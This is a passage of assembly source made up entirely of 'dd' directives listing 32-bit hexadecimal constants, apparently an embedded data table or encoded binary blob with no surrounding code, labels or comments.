dd 6E4C7562h, 60DB014Fh, 96075F3Dh, 0BCDDE470h, 880CFF32h
dd 43F86075h, 875F39C4h, 4C12D454h, 14C480C8h, 0C59CD79Ah
dd 0D70C00C3h, 0E4847127h, 534014B4h, 3333BDEh, 0E958B262h
dd 71F1CE6Ch, 2D98343Fh, 24B73A0Eh, 202CB43h, 20838558h
dd 0C321F186h, 0E02D7924h, 982F1B0Ah, 25EEE641h, 0EA740BD0h
dd 7462F18Ch, 2C694F08h, 7B192780h, 0C053AE32h, 4BCA3C91h
dd 3713F28Dh, 58D01480h, 1D8104h, 0B503164Eh, 0E945C1ABh
dd 9680B948h, 0E995B50Ch, 3ABB00D1h, 2C15224h, 6124BD8h
dd 7C1DDA99h, 642E4011h, 0BE816E3Ch, 0DC7254A1h, 0BF00CA39h
dd 946CE8CFh, 5AFF10h, 70F590FCh, 5D435F84h, 0C7F0A0A6h
dd 26928300h, 50B8FD8Ch, 0B3E9252Eh, 0F4108892h, 8DFA20F7h
dd 2CD9DD3Ch, 1B618C97h, 0B468166Ah, 250F280h, 320315F1h
dd 202F4ECBh, 0C83A8889h, 0BA60201Bh, 5E8CDC48h, 0A2C6820h
dd 3DF20033h, 4CF9F5B2h, 0DF00C6E5h, 7359CE8Bh, 12A645ABh
dd 32B9A968h, 16106CA4h, 408B017Eh, 1AF1F565h, 8D598033h
dd 0AB310C08h, 423D00AEh, 5B6E7864h, 0F30B224Dh, 5F42C12h
dd 0BC807CA8h, 9A8E42E2h, 45F09050h, 80582C18h, 2DDB1006h
dd 0A4BB48A6h, 9CF9CB80h, 24BA7184h, 0F827364Eh, 9BE98100h
dd 1BD80155h, 8C8FDC45h, 33D0203Ch, 0C6C4898Ah, 24F41620h
dd 8CB425CEh, 22073A88h, 90AA30B5h, 0E1DBBE21h, 88390420h
dd 700B1E2Ah, 1F8D1C3h, 75F67E11h, 0DF0EF0h, 288C4F13h
dd 36AED6F9h, 0ABDA6403h, 0C011DB3Bh, 9B2365E1h, 0D01490ACh
dd 5DC3C1F8h, 0E0691B27h, 1A5F2202h, 3060F87Ah, 0E30E1D32h
dd 65F60D50h, 2485FCC6h, 0B627388Ch, 9368EEB4h, 0B4A6D91Eh
dd 0F867E405h, 4800305Eh, 0E53FB90Eh, 3A9D00F4h, 0C68C892Ah
dd 0A21FC7D3h, 0B1531565h, 12318902h, 0A1A444CEh, 87146CB0h
dd 2D947830h, 0CBB859B0h, 73F02575h, 1F43F440h, 0CB72FF6h
dd 2414200Ch, 18079049h, 1004C7A2h, 0EA619650h, 0F7CE302Ch
dd 0CB5F8304h, 0E28BF000h, 2571E6DDh, 26E0FCC5h, 124BF11h
dd 24F65922h, 63F2D135h, 0F58B0090h, 2566F995h, 1A270972h
dd 0E8E99490h, 6085143Ah, 0DC8754E2h, 74A10011h, 0D305EAC7h
dd 93D005AFh, 0AC12BC08h, 8E3F6090h, 0BD00B005h, 0AD1CB4A2h
dd 0A19DF53h, 71AF3284h, 0F0C24298h, 66ABE922h, 0C8E0D608h
dd 77000D70h, 0B9D3CD9Ah, 0A243E3h, 0F4EB33Bh, 0B6D791BDh
dd 13336E0Ah, 44BA2C03h, 2DC60B8Eh, 0B0C8BB37h, 490B775Bh
dd 76A78FAh, 399050D0h, 379A0Bh, 3522B92Ah, 267014DDh
dd 0D814F09Ah, 84ACF2B5h, 0BC89ED32h, 0E4AA3C43h, 50DF4040h
dd 0C52A1233h, 0C49B6CF1h, 805AB90Eh, 3BAC91CAh, 0D3A81F28h
dd 31920901h, 385104A9h, 49BA6D8Ch, 0AC2101C7h, 0A40AEDC3h
dd 0C4062A4Bh, 9529B90Ch, 65DF3C20h, 9C00D98Dh, 48047951h
dd 0DA0F0Ch, 85D8CACBh, 6EAEAA61h, 0D80D49Ch, 69E37791h
dd 9C260017h, 0B77FF89Eh, 0C20253E0h, 0EA14AF84h, 34F0A443h
dd 0E6CB9440h, 650ED0D6h, 0A0BEABF1h, 96DA9B6Fh, 9517F9Dh
dd 0C32527C6h, 3C806C45h, 0A132F19Dh, 1F089CB0h, 2B82AD9h
dd 0C3430515h, 0B8582F38h, 0F4406C4Ah, 8CD2CB27h, 0F65F24BEh
dd 251391B8h, 0C8104BBBh, 0FAD57Dh, 85F3B54Bh, 2A6D3E56h
dd 0DAAC44A1h, 72CB1222h, 0F10A690h, 147601FCh, 866DBD00h
dd 34793656h, 0D515F508h, 0AC902582h, 0BA00B732h, 4E48E18Bh
dd 128A208h, 36AF6849h, 6DAB5CBFh, 64F0695Ch, 0F6D00064h
dd 0FCB4D9F9h, 0C8B8DF34h, 58AF3E44h, 5E28F68Bh, 6C3B2084h
dd 205BC942h, 1EB20BA4h, 0EE07887Ch, 0BDDF9142h, 0CB406BA0h
dd 880979Ah, 73AA34FBh, 6505CCB0h, 4612A21Dh, 2F816C82h
dd 5884C60Ah, 0BF00807Ch, 0F43FAFEFh, 0BB14DC8h, 1976B37Dh
dd 22006C64h, 156634AEh, 270542EAh, 8427B1E8h, 8CA5C043h
dd 3E6F4F34h, 96009E31h, 518B9D07h, 1344916Ch, 0B9742819h
dd 3903B1Ch, 3E04F766h, 0C4C76A82h, 3A4F1641h, 24099072h
dd 8CC0921Bh, 0A4A67064h, 0A183C2FFh, 80DCFB60h, 2E30CB2Ch
dd 0A328C4E8h, 0D8049347h, 0E0CD1237h, 0E605C8A2h, 8813C65Eh
dd 0BA03D5CCh, 617788B6h, 6BC7C803h, 5F850CFBh, 0EB89ED6Dh
dd 4AADAE02h, 7319C6E9h, 0E84C85CCh, 6592C062h, 501D55AEh
dd 503E5EEBh, 454475C4h, 414494C5h, 0F23CA032h, 3E00F04Eh
dd 96F75D71h, 762E3C9h, 0B3A1CADh, 0D4980017h, 0DF30223Eh
dd 0C8E8C832h, 45ACB02Eh, 0FA084049h, 0AEEC9A2Ch, 0E9485D05h
dd 58081DB8h, 7000BA32h, 9050924Eh, 3001BAFBh, 8FA5962h
dd 1A3087FDh, 40789E45h, 0AA3BBE32h, 0FD434A00h, 0D956CBF3h
dd 310A1FCFh, 4BC6877h, 0F93E8C8Ah, 815CB8CDh, 0BEC75D4Fh
dd 9CE7FD0h, 0C14A062Dh, 32774200h, 0D49107B1h, 4422E09Dh
dd 6400583Dh, 0EE3E935Fh, 0F46830h, 251D3AE6h, 0C9A6A0C1h
dd 43F03354h, 3C5AF218h
dd 356E39h, 550C1208h, 0FAF75954h, 7B7A227Bh, 0FC65601Eh
dd 0AE27FEC2h, 5F4E04Ah, 48909542h, 820159FAh, 96913A2Eh
dd 0B0633C76h, 80240D00h, 1D356CCEh, 643E0E16h, 0AA7488h
dd 90ECA49Eh, 31D7D6EEh, 5AB5AF0Ch, 736C213Fh, 3DBA0092h
dd 0A0A76D7Bh, 0EA187CADh, 0D7F83720h, 7E0F04B5h, 0C2E0498Ch
dd 78C56D3Ch, 0B214EB82h, 99E8B845h, 1EF100F3h, 48A66546h
dd 53009DC9h, 2E273ACDh, 921C5424h, 508E4960h, 5CC0A848h
dd 64222443h, 9FB8A228h, 9EDC281Fh, 98C83E56h, 6F4E01Ch
dd 0D6702220h, 0BA0042CEh, 9CAAC1F0h, 15CAB9A1h, 8C06E1D9h
dd 52E7410Ah, 5FE060ACh, 944BBA17h, 48142001h, 4E2F326Fh
dd 8D855D40h, 2538C31Bh, 408CB0C0h, 3E08909Ah, 0AC58074Fh
dd 3475601Ch, 81007ED0h, 0E77A5690h, 943C0Bh, 29DCD9DEh
dd 6CF238C5h, 74C4192Eh, 0DAC2243h, 65326D52h, 5C2358h
dd 0B4EB7D76h, 3834546h, 1174968Bh, 0DFA8D5ACh, 10B10B8Ch
dd 0A41C4F08h, 7FC26D8h, 4B3DE2E9h, 47ED0830h, 2450F896h
dd 1CAB4831h, 0E3801ECFh, 18E9AD78h, 0CF214C00h, 29E05ABEh
dd 0F718BADFh, 7C034F11h, 0C678D9D4h, 8D898C28h, 11A1EE06h
dd 9A0C13F8h, 4834E18Ch, 603CB9BEh, 907EA13h, 0FEB1B01h
dd 6B3E8F9h, 368C2838h, 7C00CEE9h, 258832F4h, 970152h
dd 0A72F894Ah, 76A89B62h, 0F30E8616h, 0EB70C4C0h, 0CDFE4BC6h
dd 8916C07Ch, 0DDDA7D64h, 55613980h, 42A73CB8h, 84C4BBA5h
dd 0F4EABF05h, 64812AE3h, 381213AFh, 4C5B6080h, 0FF00C886h
dd 0EE7249C1h, 501C5F16h, 300A80E0h, 1A88D0D3h, 49C59A6Dh
dd 6C5209ACh, 604F34D2h, 0F32917h, 5BD6041h, 0C9BA5F9h
dd 0CA25E712h, 3600C0E2h, 91DA64D8h, 0F507EAA0h, 81CC8CB5h
dd 8EE1E637h, 0C0603F1Eh, 0E8225862h, 421E811h, 20CAD7A3h
dd 24F094C0h, 0EAC73125h, 40142259h, 3F0FA970h, 2A59C00h
dd 8C4F2DBBh, 0DFDB0090h, 67CDC53Ah, 8FE222B3h, 8EB5131h
dd 507DBB4Dh, 18D79A00h, 754BEAAh, 16D0302Eh, 7CC93C00h
dd 0EC7BEC73h, 0C046716Ch, 0D839AC79h, 5A3F7867h, 0E32E12DDh
dd 963E8808h, 7D2CC724h, 0A880DAE8h, 4C148E47h, 38000B9h
dd 20A32313h, 802950AEh, 0DD6909EAh, 60299AB4h, 3E9128E0h
dd 26956EEAh, 92B0F4h, 0D8D76FFDh, 7FB422FCh, 0B2217C98h
dd 0EACA0815h, 8BE810ADh, 7A4500F5h, 3531DAA3h, 6F018419h
dd 9438D302h, 42CD47A8h, 1894ABE6h, 0C0BD78h, 0E859BC19h
dd 40DE29CCh, 0A4D5D91Dh, 10F22FBDh, 0C8DD2Ch, 0F110EB8Eh
dd 0DF034EFEh, 4BC4CA48h, 84ED6C38h, 8807891h, 9C791A95h
dd 0B7A4A13h, 183028B0h, 20E053D6h, 0BA8BE200h, 0E53E816Bh
dd 49AE4A32h, 0F0901B60h, 0FE00736Ch, 0D3C03B74h, 626549h
dd 461B30D1h, 1204137Eh, 0A65F8925h, 8039AA1Ch, 4020A4C4h
dd 64B61B44h, 0E087C781h, 16D8DA84h, 0EC78BF60h, 8CBEF02Ch
dd 0E8FB2C02h, 107C71ADh, 2C1096C7h, 28EB26D4h, 92381B27h
dd 6C8C616Dh, 5C9071A7h, 5D1C78CDh, 554ACB66h, 1AA5F422h
dd 91085118h, 0A127126Bh, 841604C8h, 343244h, 1CBF1092h
dd 0D376DEC7h, 5C22B41Eh, 805D3B0Ch, 4F3C88A3h, 85200248h
dd 0BCB29632h, 0CFDDFA80h, 0EF0EB9D2h, 29E33D27h, 22600235h
dd 1ACD142h, 205F3748h, 7BD640B0h, 1B5A6919h, 62421440h
dd 8DF1Dh, 0FA92B47Ch, 2F4D25B8h, 126D5300h, 43E673AAh
dd 64299F1Dh, 526FE004h, 5DC088h, 0BCD1D21Ch, 6971F721h
dd 0F92A5400h, 27F1365Eh, 0AC1E48D3h, 76FF6373h, 24E1794Fh
dd 8CD44CC8h, 885A3816h, 6D95800h, 984912A2h, 0E15E45A8h
dd 0C0603CD1h, 328034B5h, 0EC2652ECh, 9CB0C34Fh, 65D2AEF0h
dd 9927C303h, 0A5329D07h, 8C154C8Ch, 0CA73BCBAh, 0B9BB2A40h
dd 50B300D0h, 0FAC7643Bh, 0D62D720Eh, 0E71B4092h, 76A3C218h
dd 89854EB0h, 8B20C644h, 0A4B2A0h, 271069AEh, 0EAF3DCACh
dd 0B0493896h, 0BD3D58h, 2CB628E9h, 0D4DBF82Dh, 0CD583003h
dd 0D082E6ECh, 4CDACA34h, 8F06E83Ch, 0B943C601h, 0A243BC9Eh
dd 0F3BEE030h, 0B1B009F8h, 4894276Eh, 98A1E702h, 0E078A615h
dd 0E1B8066h, 105DA5DCh, 4DF526E0h, 209601C3h, 9A23B888h
dd 0F0F0714Bh, 2E74B03Ch, 0FF0944A8h, 6B80059Dh, 20F316EEh
dd 59AA524h, 0BE92DC00h, 0A2C68C4Bh, 85634F45h, 0EA980070h
dd 0E9C91246h, 906C8A88h, 531D5E10h, 0D29000E4h, 65A05603h
dd 1B04F516h, 0F284A4h, 0C144A649h, 5FB48A5Ah, 3F0B87FCh
dd 9CB7E945h, 0BC9F000Ch, 0F31F39FFh, 7B070DC9h, 7157B30Bh
dd 4BE8DCD0h, 1031E716h, 2044A066h, 0D9A40178h, 46803AF9h
dd 0E62DE4C0h, 705D9800h, 0FBEFB353h, 94989082h, 986060E0h
dd 0AB260E8Ch, 0E11834D7h, 91CD2558h, 60209668h, 546B56F4h
dd 0F173E00h, 15C1FB32h, 384A0295h, 5A184220h, 3CCD8C80h
dd 0C94A24F4h, 0E4C51830h, 0EA54FC88h, 36344C7Ah, 16ACD52Eh
dd 6CE34Ch, 0D984DCD4h, 954EBF5Ch, 881BE804h, 0E103B58Ch
dd 0F84AABF7h, 0D8C584B7h, 7AAFB881h, 83C21210h, 238C3CA1h
dd 0FD420044h, 80B63364h, 0CB4A012Eh, 88A120B5h, 0F6F8718Fh
dd 7B807828h, 7A58B6DDh, 1FC20078h, 0C84C97BAh, 424EB26Bh
dd 999B060h, 69203AF1h, 4509537h, 3A6401B9h, 0E9D06F13h
dd 653C3DE2h, 347F5E0Fh, 0E0BBAA04h, 6C524380h, 8F4C39E8h
dd 0C7F30ADEh, 812040F4h, 20EF74Eh, 0A63F4726h, 3CD905D6h
dd 0C93B0C00h, 14F3AEh, 17E11B60h, 0B504AAB1h, 70EC3898h
dd 48442626h, 0A1B9E960h, 0CCED4C15h, 0CF0CC124h, 43270760h
dd 0F2E9C087h, 0D89E24E6h, 0B740BB78h, 144FF811h, 0C1F88Ch
dd 0BDCBDDE5h, 24FA3E22h, 8C5FA228h, 10901A25h, 1162DA4h
dd 9982F081h, 0A015630Ah, 3544B4B8h, 2D6CFA8Bh, 2890A932h
dd 0ED34EB8Dh, 6CA2C011h, 0A217CF00h, 338073E4h, 0CC388E74h
dd 52FA80E7h, 0F22104B1h, 0F5910216h, 438CCA8Ah, 0C04FBC54h
dd 0A8B7D7C1h, 5D3807E6h, 0A0AC30BDh, 0F8E3C373h, 0E27D1700h
dd 7692E935h, 24775865h, 32A71C05h, 0D0A91Bh, 44BA6175h
dd 2480ABF1h, 434E65Ch, 0A12E830Ah, 0D8206AF0h, 0E1DD003h
dd 480CD80Dh, 0C48EF980h, 60B9275Dh, 0CC8DFB80h, 19FDFEh
dd 73717FE6h, 3712E2C1h, 315E1602h, 0F3288B60h, 483088ECh
dd 0AE00FC20h, 8CECCBEAh, 9F5B9328h, 136B748Eh, 0C06D50C9h
dd 2D006FFEh, 0E13E649Bh, 0C296D4h, 0AE1C6172h, 251566C3h
dd 0E9656A02h, 0D4446EB2h, 0FFCC05Ch, 923805FDh, 80A5B956h
dd 4EEBC3E4h, 2C700B36h, 4764B47Bh, 1A27CF32h, 0C664A099h
dd 0CE00A2F6h, 0FF19748Ch, 2CFBF830h, 160AE501h, 0C08AD0h
dd 6D4C7730h, 0D24169h, 7AD3EE21h, 80A32F3Bh, 6062044Bh
dd 830F98Ah, 4F9C4284h, 0A5441125h, 1771F109h, 9FBE8CC0h
dd 74ECB0B9h, 3E21C90Ah, 76401471h, 58B0C6h, 67CA5CA2h
dd 603F731Eh, 2ACB0901h, 0B0C31C08h, 486238E5h, 26B7007Dh
dd 6B2FA27Dh, 0B0BCAA37h, 0C4CBB82Ch, 451E007Ch, 49840F65h
dd 9448717Bh, 77280535h, 40C32D2Eh, 0BFC80848h, 3F9CBA68h
dd 548B5862h, 0D3C836C0h, 5D7A9181h, 0B6FA51Dh, 3CDB9686h
dd 4504448h, 364F1C0h, 12FBF5ECh, 9037885Fh, 5A1F4A00h
dd 69C79100h, 25DF8993h, 9075FEBCh, 653828ACh, 2C062244h
dd 38C8274Ah, 19200EAFh
dd 9AE30139h, 45C85904h, 5F00479Eh, 76E1F835h, 98DE2EFCh
dd 20909748h, 0A00361Fh, 0E9AC5369h, 28515241h, 12FE1CEFh
dd 0A0804EA1h, 76157A64h, 4FBC434Fh, 11C10CCh, 0CA530878h
dd 0E109F20Ch, 209DF872h, 5EF4DE3Bh, 0A4E2F4C2h, 0A3E0C8h
dd 2745B310h, 6DB08427h, 1244AE08h, 0DD79F540h, 40013B37h
dd 46424AC7h, 5AE0DFFAh, 72831D96h, 40686405h, 0CED2E201h
dd 649A2600h, 0ABDA0BB1h, 389329ADh, 0A2210098h, 8B959732h
dd 747D7000h, 4E05693Ah, 2A341FCCh, 45EB4EFAh, 842E30E5h
dd 1B0CB988h, 886937BBh, 0ECFD5E9h, 0F362223Dh, 0AC8BD902h
dd 8B06CD0h, 3489D34Ah, 0C5434880h, 0C11A4E7Fh, 14AC6D48h
dd 2F9095FFh, 0D2B0ABB9h, 72AE1390h, 111200C2h, 8A2040EAh
dd 3EE0931Eh, 0A2145479h, 5E3A5900h, 71E48FD5h, 72354C9Bh
dd 8C4EE858h, 4E12D7C4h, 18884855h, 0F98F0002h, 0DEC63B0Bh
dd 2779ED5Ch, 1C5B3300h, 461625D5h, 12017F47h, 828A4939h
dd 0A1049DCCh, 24B224h, 5A13794Ah, 7EFC61h, 0C0B6C432h
dd 15E72102h, 4044AE12h, 8437A408h, 5646A332h, 6C0240E3h
dd 0A05A1C42h, 0E420DEE0h, 5F21243Fh, 9ED96C30h, 0AC909504h
dd 10005493h, 0AA9BA239h, 2027653h, 28DFC574h, 58463E7Eh
dd 0A22D8100h, 0D6371689h, 0F5A40964h, 304A9B0Fh, 3240445Ch
dd 0BE6779h, 4CA4BF3Eh, 0A9915DB5h, 133B906h, 25DEEB1Eh
dd 0D0892241h, 0F4CEB007h, 0AC20002Bh, 2F837F3Ch, 8C20E88Ch
dd 42CED6DDh, 0A1AAC502h, 0D03B86B3h, 143C1214h, 42208164h
dd 28DAD015h, 245874B8h, 35C0DF88h, 0FC5BCBB6h, 4E88FA3Ah
dd 328402C0h, 8C5173B8h, 1D073711h, 67EDF2B4h, 303387AEh
dd 93EA8C25h, 800D6001h, 0C99AF522h, 0CD815C78h, 305F95AAh
dd 2D3B1E2Ah, 0C27E03E2h, 809A2313h, 488D431Bh, 428024B4h
dd 0BE1D7152h, 0A6574A00h, 4CFCDFE9h, 0CAF4079Eh, 9F46B4h
dd 0CB250634h, 22005C91h, 634E14E2h, 0A09B9F5Fh, 28F17BF2h
dd 553CAE00h, 0FE4A1726h, 1DB600B8h, 9437CAE1h, 14093FCFh
dd 0E43C7CB7h, 15DA0278h, 0D625DD45h, 3450D05Ch, 0DA4F815Ch
dd 88F91CEAh, 55ED6180h, 9DACB1Dh, 5EBBC538h, 7EF3C470h
dd 3ED3FC60h, 8C435F24h, 66F820F4h, 83BBA41h, 0C8A82138h
dd 39B55C01h, 6C899265h, 47219462h, 77241D14h, 904B992Fh
dd 0D17040h, 9C74EAA0h, 6447481Fh, 8AA3C801h, 163FA1F7h
dd 0ACC412A5h, 0A4328400h, 0A3AB7FF8h, 43021CA9h, 1834A69Bh
dd 0B4D971AEh, 800A18A1h, 0D856C30Ch, 8DC049h, 279D0B3Eh
dd 0AC328569h, 9022E55Fh, 109611E1h, 9ED10h, 0A3D23A3Dh
dd 5ECA8E16h, 417E9003h, 0F00AA126h, 186E86E3h, 41B86D12h
dd 7200D68Dh, 9D528ED1h, 0FCF01145h, 0B5EE6C7h, 4B1C4FE3h
dd 0A122CC52h, 0D7640543h, 0A46D278Ch, 0AA5EE9C8h, 71C424C8h
dd 8ABF00A7h, 52A37101h, 0A1B71423h, 7D6D289Ch, 1888783Ch
dd 0C8004397h, 97DFF409h, 25B67893h, 5845AEE9h, 9DED0207h
dd 0A31ABF00h, 14BB3DA5h, 459E2D80h, 0C5A421AAh, 8D88B804h
dd 34824470h, 7101161Dh, 0BC96DA3Fh, 0F020F6E0h, 0D4EC8AF7h
dd 0E95BFD08h, 14E469ADh, 86FB932h, 0CD25E00Bh, 0BC78DE8Fh
dd 8FC02841h, 5ED8C1D0h, 5BC88616h, 79800043h, 35FFAE39h
dd 10952373h, 0F42DFEB0h, 0E77C01B5h, 5BD00B8Ch, 6EB2D788h
dd 0AA07B044h, 78D16F6Ah, 4E046C1h, 2D80182Ch, 858FA1D7h
dd 8424DB00h, 0A0BD7235h, 0E6791F27h, 563A9F25h, 80E8C483h
dd 1446DC24h, 9E00E0A4h, 81DD6192h, 164047Fh, 0B44C6D15h
dd 313EE1AFh, 6BE84A02h, 73CC8040h, 4FFC408Bh, 56543122h
dd 79ADF011h, 0E47CBA29h, 1FFD4F80h, 1549247h, 6EC9DD19h
dd 0F8A14B5Ch, 6B098415h, 903789C1h, 94694DCh, 3CDDE469h
dd 0BE00F4F9h, 0EF35204Dh, 8E5300FFh, 0CDB5EBACh, 9A008DEAh
dd 380F631Fh, 91D024F3h, 0B7E90A9Ch, 0E8F14998h, 0D729C300h
dd 547180Eh, 0AD96305h, 5266C756h, 0F8D9BF32h, 0D120ECC4h
dd 0CA4A74ABh, 84BE6CA0h, 703ED90Eh, 2A14807Ah, 0BCC4CC12h
dd 612050F8h, 0BE2ABB00h, 0F4E6DCB5h, 7DC40062h, 0FA6C0FECh
dd 1B030358h, 0C6CB4308h, 8F080937h, 9CF39932h, 134F3E0Eh
dd 646CE0B5h, 0C9F6B580h, 291D48A1h, 4832F476h, 0E0513Bh
dd 45B967E9h, 0D0179717h, 0CD0107FBh, 0AA327D99h, 6A0B9439h
dd 780222FEh, 74DED738h, 50B3E912h, 8A12C621h, 0AFCC2C30h
dd 1BA6004Eh, 23855986h, 0DA027B06h, 33A6443h, 56484179h
dd 418470E2h, 0C02C6D1Dh, 7A100B91h, 2038C08Ch, 5A12A9E5h
dd 363B78A0h, 0F0405500h, 0AF0CBAB9h, 3C45072Ah, 0C065AA76h
dd 0CC2DB3B0h, 0DF3F317Fh, 388E013Bh, 0F3F18B1Ah, 8D2C017Eh
dd 70969358h, 89C8C08h, 0C9AED440h, 81640074h, 1E8F05D0h
dd 0E51CC694h, 1981FB35h, 46115BBBh, 71FC206Fh, 69058AB2h
dd 0E884CDE9h, 3BD8830h, 4D7AC8h, 88F1A8B8h, 9727C920h
dd 0A23416E6h, 6C00482Bh, 6790E965h, 2F0A007Ah, 69377E12h
dd 4C039622h, 4B23F3DFh, 0F5C01DF2h, 0B413561Dh, 6D00A19Ch
dd 206EBE59h, 6371E0h, 493586AFh, 0D65D8AC5h, 0F6D7BC00h
dd 0E85180Ch, 89500BEh, 779BB763h, 0BB14DFD9h, 80447h
dd 3B719107h, 0E912D5h, 47C0D48Ch, 2C045229h, 614E1B00h
dd 647E4809h, 0D0F90038h, 5B189A1Ch, 0F6783FAFh, 0B0D76C3Fh
dd 4FB951F4h, 21940FC6h, 838C4359h, 0F0004D19h, 0CEAD2EBEh
dd 1C7C5EEEh, 0C1EF92D2h, 4690D752h, 85A891BAh, 8A9A818h
dd 0C700CDB7h, 0E415D407h, 0DA03E9h, 0AE6F06BEh, 7B19D7DFh
dd 30FBA503h, 0C93E3549h, 38807CF4h, 53C7A09Bh, 0FE3919F1h
dd 0B19E00D4h, 5CD1BBD8h, 71B0245h, 28973F1Ch, 62209884h
dd 0ABA823FBh, 8AEC891Fh, 6064FCCEh, 0E8EF31B4h, 71133FDCh
dd 0CEBF8D80h, 0F48219B0h, 0B6812460h, 0DF2618h, 8E328715h
dd 586D22D3h, 5B62D100h, 0D669D539h, 312360F4h, 0D7D2F2F9h
dd 0A72EEB00h, 0CB69CD9Fh, 0A49700D4h, 67AE208Ah, 7144F422h
dd 0F426F4BBh, 2F61D5Dh, 0ECDC15E2h, 0B300353Ah, 80145791h
dd 7F0158B6h, 86F9E659h, 41877653h, 4361A3FCh, 0BB88E0D6h
dd 2901134Eh, 734F3C4Dh, 0D0C00E6Bh, 0F6380061h, 5E6ADAAAh
dd 66B05330h, 0DBCEF50Ch, 0F17E71E2h, 91A79850h, 0F3CD1C22h
dd 8F95BF56h, 8900A0ACh, 485DC3B6h, 0B402EF5Fh, 0E8D8F87Ah
dd 2B8E8076h, 188AD536h, 0A125F371h, 0D000E0DCh, 0F623E397h
dd 0F4BB233h, 18A337DDh, 0A0D485h, 0F9E444AFh, 0C93F66C1h
dd 71A7302Eh, 0ED7CB57h, 26DE8B5Ch, 0E09D69E7h, 39A27D11h
dd 10BF0D00h, 8BCAC03h, 0D9C9C265h, 9090F3B3h, 0A80056EDh
dd 0F5F1A11Bh, 15C3FBBh, 0F6D6BA77h, 0F8A01C15h, 0AFB8BCF9h
dd 0CBB641C7h, 87FAC641h, 1E77BCCh, 2D6E36DEh, 0DF5E69E1h
dd 2222900h, 1E45936Dh, 4D9C0F49h, 0A402EB6h, 341AA85Ah
dd 0F2EAEB73h, 3D510B00h, 0E5EA774Ch, 0A98B00A5h, 0AA680374h
dd 5960AFFAh, 0D5E3F608h, 42700EDh, 0B8C3E6B3h, 841E9367h
dd 188162D7h, 0FF7F9F02h, 29651C42h, 0D4DC9F00h, 957A24h
dd 7809B3E1h, 21FD0066h, 8B34D513h, 0D103304Dh, 8168F62Ah
dd 0AA0800C6h, 0A3636975h, 50006759h, 0FEACE7B6h, 1332AB8h
dd 0EB852F73h, 5C029F63h, 69008D3Ch, 3EBE8162h, 16B6A3F4h
dd 427993h, 2AA1D212h
dd 0E300886Ch, 9DFA8F16h, 0C08283E9h, 0D2801E79h, 2D00CA73h
dd 8F79217Eh, 0A6F4BC5Dh, 0B7F50088h, 28476E77h, 0E00029AEh
dd 3569A434h, 6979005h, 93D3F404h, 73323158h, 0E068089Eh
dd 0C1442Eh, 1DD76BB6h, 1886F878h, 94D3F10Ch, 31593164h
dd 0A191EC29h, 93E19D10h, 0D8DE0E83h, 9F2F95Bh, 60A065E4h
dd 0CC9A210Ch, 0D9005D06h, 3E836B3Ah, 3FA3B4EBh, 1982C172h
dd 0A169DD34h, 7A661880h, 2D3E5A55h, 0BBCE3B73h, 753C80E2h
dd 0CC439F39h, 1808E209h, 0C1ABD20Dh, 99DEA115h, 86F44000h
dd 9060CE98h, 9391002Ch, 6C17E81Dh, 0F750019Fh, 6418DD4Ch
dd 801111A0h, 2A8C0BCCh, 97817DE6h, 0F4E09F41h, 0C8A26F52h
dd 0CA1DFA03h, 79D3691Fh, 0A811A469h, 4A00A84Ch, 946C413h
dd 0F206179Ah, 0CF8108C7h, 0DA9F5839h, 0F514EF00h, 2DE0E75Dh
dd 13232503h, 0E8A4BD52h, 6321590Ah, 0EA2319Dh, 9281A100h
dd 0E4A0778Bh, 3FDA0129h, 0AFB92314h, 7F899C37h, 0C1272880h
dd 161011h, 5F9BD759h, 0FE9FD970h, 0BEF10B38h, 302030B9h
dd 1D2915D2h, 83FB139Bh, 360FE9C0h, 0A92CC087h, 570017A6h
dd 0E30E8E2Fh, 34E9542h, 8C08A0ADh, 280304ECh, 0F0819D15h
dd 1A83E093h, 3BFE66Ch, 0E34028A6h, 0B9D09EDDh, 58C015E6h
dd 0B1980E0Fh, 0BDBB028Bh, 0BCAE4E47h, 0AD45E3A0h, 761F8F6Ch
dd 6BC0A120h, 0D6734CB6h, 663D016Ah, 0ECAE5C34h, 0AA799E03h
dd 0A4252300h, 8BD384h, 5DAF68C4h, 0E88748B6h, 65F64400h
dd 0DADFC692h, 0B8D61813h, 8C489E5h, 9FFD0900h, 0E02A021Ch
dd 0A50701A0h, 0B9DBC5D6h, 4A1440E3h, 912E0474h, 9F00E132h
dd 3EDF6739h, 0A33B00ACh, 0C1BA8CB2h, 380A27E5h, 0A0166417h
dd 186CFD86h, 1CBF0A8h, 4B57487Fh, 4125AE5Dh, 8D4CA4h
dd 3ED580h, 0A4378551h, 21F68352h, 7E926906h, 18B8E019h
dd 5910E9A8h, 8903E25Ch, 68D4FD0Ah, 0B2A90AD3h, 808C4BECh
dd 0EE4C047Dh, 0DA007B16h, 0B136C331h, 0D10DD10Ah, 71007091h
dd 0B52C9FB6h, 0C10B876Fh, 0DC849569h, 0C5DC00FAh, 9C06D5E7h
dd 0BA317F60h, 6051B8D3h, 0E34EF0ABh, 79C6068Ch, 61146Dh
dd 5B88B75Eh, 0FCB1E1F4h, 9B27D800h, 0C733382Ch, 28E4E279h
dd 0F71C1794h, 35920E10h, 7DBAC000h, 0B3566393h, 0F6721CF2h
dd 817800B1h, 6D509FA1h, 4C5EA01h, 0A8AE31Eh, 0A9D6498Fh
dd 8094098Ah, 0FCDF4D77h, 0CAE6B62Eh, 6A529102h, 81D55DBEh
dd 0DCFC2C0h, 88476420h, 3B00748Ah, 0D4B41CBAh, 528206E5h
dd 0F900B08Dh, 76299BE7h, 0B10520DEh, 0E831D288h, 430DFC48h
dd 69C1C4F9h, 7511801Ch, 6768C3CEh, 482106DCh, 0F11A6D12h
dd 9009379h, 0B90F8C3Dh, 0FEF17FB6h, 0D130604Eh, 0DDEC674Fh
dd 30A0177Ah, 0A702D480h, 3247A2FDh, 0F434438Ch, 96C28441h
dd 0AD34DCDCh, 0A44D511Eh, 7D40415Ch, 631745FBh, 0CB4CA015h
dd 146690F1h, 28169BD4h, 273A8001h, 5050EC97h, 82DF638Ch
dd 20AD4007h, 0BAA04501h, 0D13F8FAh, 35FECC81h, 3082328h
dd 83497659h, 3D1D8866h, 9D580EEEh, 7E00F594h, 4BDF350Ch
dd 89163130h, 6169EEh, 0E85A19B6h, 65213D42h, 0FA969A12h
dd 1B6D8006h, 0CF9F02E1h, 5164F6B7h, 7E787E0h, 3CB7E00h
dd 0C04B74B2h, 0C0C4B8E3h, 906CD689h, 0C61EB573h, 8939A19Bh
dd 10B80AD3h, 526617CCh, 0D5008819h, 3E119099h, 4938BD69h
dd 28C92413h, 83062240h, 80A0A44Bh, 0A894EC04h, 60EEE8h
dd 0B9381F26h, 0A73C7D21h, 0CDB56A3Dh, 838D3F98h, 3AEDFAD9h
